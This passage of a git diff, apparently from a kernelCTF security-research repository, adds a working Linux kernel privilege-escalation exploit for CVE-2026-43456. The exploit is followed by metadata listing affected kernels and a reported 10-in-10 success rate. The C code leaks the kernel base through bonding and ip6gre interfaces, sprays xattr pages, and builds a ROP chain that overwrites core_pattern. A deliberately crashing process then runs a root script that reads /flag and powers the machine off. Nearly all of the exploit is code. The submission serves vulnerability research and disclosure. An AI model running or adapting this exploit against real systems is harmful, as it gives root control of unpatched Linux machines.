NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + bool should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/bash\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t stack_pivot_gadget = kbase + GADGET_STACK_PIVOT_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_ARG_QWORD] = addr2 - U64_SIZE; + fake_skb_shinfo[SKB_SHINFO_STACK_PIVOT_QWORD] = stack_pivot_gadget; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, true)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +void vuln_trigger_mode() { + set_cpu(0); + unshare_setup(getuid(), getgid()); + kbase = 0xdeadbeefcafe0000; + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); +} + +int main(int argc, char **argv) { + (void)argc; + + if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) { + vuln_trigger_mode(); + return 0; + } + + if (!fork()) { + set_cpu(1); + strcpy(argv[0], WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit new file mode 100755 index 000000000..15d67989f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..280a30a50 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json @@ -0,0 +1,32 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp341", "exp245", "exp240"], + "vulnerability": { + "summary": "", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=9baf26a91565b7bb2b1d9f99aaf884a2b28c2f6d", + "cve": "CVE-2026-43456", + "affected_versions": ["2.6.24 - 6.19.8"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": ["CONFIG_BONDING"] + } + }, + "exploits": { + "lts-6.6.87": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + }, + "cos-109-17800.372.99": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + }, + "mitigation-v3b-6.1.55": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz new file mode 100644 index 000000000..c01f0d718 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz new file mode 100644 index 000000000..589b21092 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz new file mode 100644 index 000000000..64516cb92 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz differ